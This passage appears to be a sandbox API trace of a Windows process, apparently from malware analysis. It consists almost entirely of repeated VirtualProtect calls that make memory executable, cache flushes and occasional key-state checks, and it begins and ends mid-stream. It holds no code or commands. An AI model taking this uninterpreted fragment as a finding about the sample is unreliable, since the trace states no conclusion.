GetCurrentProcess () returned 0xffffffff [0085.865] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.865] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.866] GetCurrentProcess () returned 0xffffffff [0085.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.866] GetCurrentProcess () returned 0xffffffff [0085.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.866] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.866] GetCurrentProcess () returned 0xffffffff [0085.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.866] GetCurrentProcess () returned 0xffffffff [0085.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.866] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.867] GetCurrentProcess () returned 0xffffffff [0085.867] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.867] GetCurrentProcess () returned 0xffffffff [0085.867] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.867] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.868] GetCurrentProcess () returned 0xffffffff [0085.868] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.868] GetCurrentProcess () returned 0xffffffff [0085.868] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.868] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.869] GetCurrentProcess () returned 0xffffffff [0085.869] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.869] GetCurrentProcess () returned 0xffffffff [0085.869] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.869] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.870] GetCurrentProcess () returned 0xffffffff [0085.870] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.870] GetCurrentProcess () returned 0xffffffff [0085.870] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.870] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.870] GetCurrentProcess () returned 0xffffffff [0085.870] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.870] GetCurrentProcess () returned 0xffffffff [0085.871] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.871] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.871] GetCurrentProcess () returned 0xffffffff [0085.871] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.871] GetCurrentProcess () returned 0xffffffff [0085.871] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.871] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.872] GetCurrentProcess () returned 0xffffffff [0085.872] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.872] GetCurrentProcess () returned 0xffffffff [0085.872] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.872] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.872] GetCurrentProcess () returned 0xffffffff [0085.872] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.873] GetAsyncKeyState (vKey=3) returned 0 [0085.873] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.874] CRetailMalloc_Alloc () returned 0xcaec3e0 [0085.874] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.874] memcpy (in: _Dst=0xcaec400, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec400) returned 0xcaec400 [0085.874] CRetailMalloc_Realloc () returned 0xcaec3e0 [0085.874] CRetailMalloc_Free () returned 0x1 [0085.874] GetCurrentProcess () returned 0xffffffff [0085.874] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.874] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.875] GetCurrentProcess () returned 0xffffffff [0085.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.875] GetCurrentProcess () returned 0xffffffff [0085.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.875] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.875] GetCurrentProcess () returned 0xffffffff [0085.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.875] GetCurrentProcess () returned 0xffffffff [0085.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.875] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.876] GetCurrentProcess () returned 0xffffffff [0085.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.876] GetCurrentProcess () returned 0xffffffff [0085.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.876] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.876] GetCurrentProcess () returned 0xffffffff [0085.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.876] GetCurrentProcess () returned 0xffffffff [0085.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.876] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.877] GetCurrentProcess () returned 0xffffffff [0085.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.877] GetCurrentProcess () returned 0xffffffff [0085.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.877] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.877] GetCurrentProcess () returned 0xffffffff [0085.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.877] GetCurrentProcess () returned 0xffffffff [0085.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.878] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.878] GetCurrentProcess () returned 0xffffffff [0085.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.878] GetCurrentProcess () returned 0xffffffff [0085.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.878] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.879] GetCurrentProcess () returned 0xffffffff [0085.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.879] GetCurrentProcess () returned 0xffffffff [0085.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.879] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.879] GetCurrentProcess () returned 0xffffffff [0085.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.879] GetCurrentProcess () returned 0xffffffff [0085.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.879] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.880] GetCurrentProcess () returned 0xffffffff [0085.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.880] GetCurrentProcess () returned 0xffffffff [0085.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.880] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.880] GetCurrentProcess () returned 0xffffffff [0085.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.880] GetCurrentProcess () returned 0xffffffff [0085.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.880] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.881] GetCurrentProcess () returned 0xffffffff [0085.881] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.881] GetCurrentProcess () returned 0xffffffff [0085.881] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.881] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.881] GetCurrentProcess () returned 0xffffffff [0085.881] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.882] GetCurrentProcess () returned 0xffffffff [0085.882] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.882] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.882] GetCurrentProcess () returned 0xffffffff [0085.882] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.882] GetCurrentProcess () returned 0xffffffff [0085.882] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.882] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.883] GetCurrentProcess () returned 0xffffffff [0085.883] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.883] GetCurrentProcess () returned 0xffffffff [0085.883] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.883] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.883] GetCurrentProcess () returned 0xffffffff [0085.883] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.883] GetCurrentProcess () returned 0xffffffff [0085.883] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.883] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.884] GetCurrentProcess () returned 0xffffffff [0085.884] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.884] GetCurrentProcess () returned 0xffffffff [0085.884] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.884] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.885] GetCurrentProcess () returned 0xffffffff [0085.885] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.885] GetCurrentProcess () returned 0xffffffff [0085.885] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.885] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.885] GetCurrentProcess () returned 0xffffffff [0085.885] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.885] GetCurrentProcess () returned 0xffffffff [0085.885] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.885] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.886] GetCurrentProcess () returned 0xffffffff [0085.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.886] GetCurrentProcess () returned 0xffffffff [0085.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.886] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.886] GetCurrentProcess () returned 0xffffffff [0085.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.886] GetCurrentProcess () returned 0xffffffff [0085.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.886] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.887] GetCurrentProcess () returned 0xffffffff [0085.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.887] GetCurrentProcess () returned 0xffffffff [0085.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.887] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.887] GetCurrentProcess () returned 0xffffffff [0085.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.887] GetCurrentProcess () returned 0xffffffff [0085.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.887] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.888] GetCurrentProcess () returned 0xffffffff [0085.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.888] GetCurrentProcess () returned 0xffffffff [0085.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.888] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.888] GetCurrentProcess () returned 0xffffffff [0085.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.888] GetCurrentProcess () returned 0xffffffff [0085.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.889] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.889] GetCurrentProcess () returned 0xffffffff [0085.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.889] GetCurrentProcess () returned 0xffffffff [0085.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.889] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.890] GetCurrentProcess () returned 0xffffffff [0085.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.890] GetCurrentProcess () returned 0xffffffff [0085.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.890] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.890] GetCurrentProcess () returned 0xffffffff [0085.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.890] GetCurrentProcess () returned 0xffffffff [0085.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.890] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.891] GetCurrentProcess () returned 0xffffffff [0085.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.891] GetCurrentProcess () returned 0xffffffff [0085.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.891] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.891] GetCurrentProcess () returned 0xffffffff [0085.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.891] GetCurrentProcess () returned 0xffffffff [0085.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.891] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.892] GetCurrentProcess () returned 0xffffffff [0085.892] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.893] GetAsyncKeyState (vKey=3) returned 0 [0085.893] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.893] CRetailMalloc_Alloc () returned 0xcaec440 [0085.893] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.893] memcpy (in: _Dst=0xcaec460, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec460) returned 0xcaec460 [0085.893] CRetailMalloc_Realloc () returned 0xcaec440 [0085.893] CRetailMalloc_Free () returned 0x1 [0085.893] GetCurrentProcess () returned 0xffffffff [0085.893] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.893] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.894] GetCurrentProcess () returned 0xffffffff [0085.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.894] GetCurrentProcess () returned 0xffffffff [0085.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.894] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.894] GetCurrentProcess () returned 0xffffffff [0085.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.895] GetCurrentProcess () returned 0xffffffff [0085.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.895] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.895] GetCurrentProcess () returned 0xffffffff [0085.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.895] GetCurrentProcess () returned 0xffffffff [0085.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.895] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.896] GetCurrentProcess () returned 0xffffffff [0085.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.896] GetCurrentProcess () returned 0xffffffff [0085.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.896] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.896] GetCurrentProcess () returned 0xffffffff [0085.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.896] GetCurrentProcess () returned 0xffffffff [0085.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.896] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.897] GetCurrentProcess () returned 0xffffffff [0085.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.897] GetCurrentProcess () returned 0xffffffff [0085.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.897] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.897] GetCurrentProcess () returned 0xffffffff [0085.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.897] GetCurrentProcess () returned 0xffffffff [0085.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.897] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.898] GetCurrentProcess () returned 0xffffffff [0085.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.898] GetCurrentProcess () returned 0xffffffff [0085.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.898] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.898] GetCurrentProcess () returned 0xffffffff [0085.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.898] GetCurrentProcess () returned 0xffffffff [0085.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.898] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.899] GetCurrentProcess () returned 0xffffffff [0085.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.899] GetCurrentProcess () returned 0xffffffff [0085.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.899] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.900] GetCurrentProcess () returned 0xffffffff [0085.900] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.900] GetCurrentProcess () returned 0xffffffff [0085.900] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.900] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.900] GetCurrentProcess () returned 0xffffffff [0085.900] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.900] GetCurrentProcess () returned 0xffffffff [0085.900] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.900] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.901] GetCurrentProcess () returned 0xffffffff [0085.901] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.901] GetCurrentProcess () returned 0xffffffff [0085.901] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.901] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 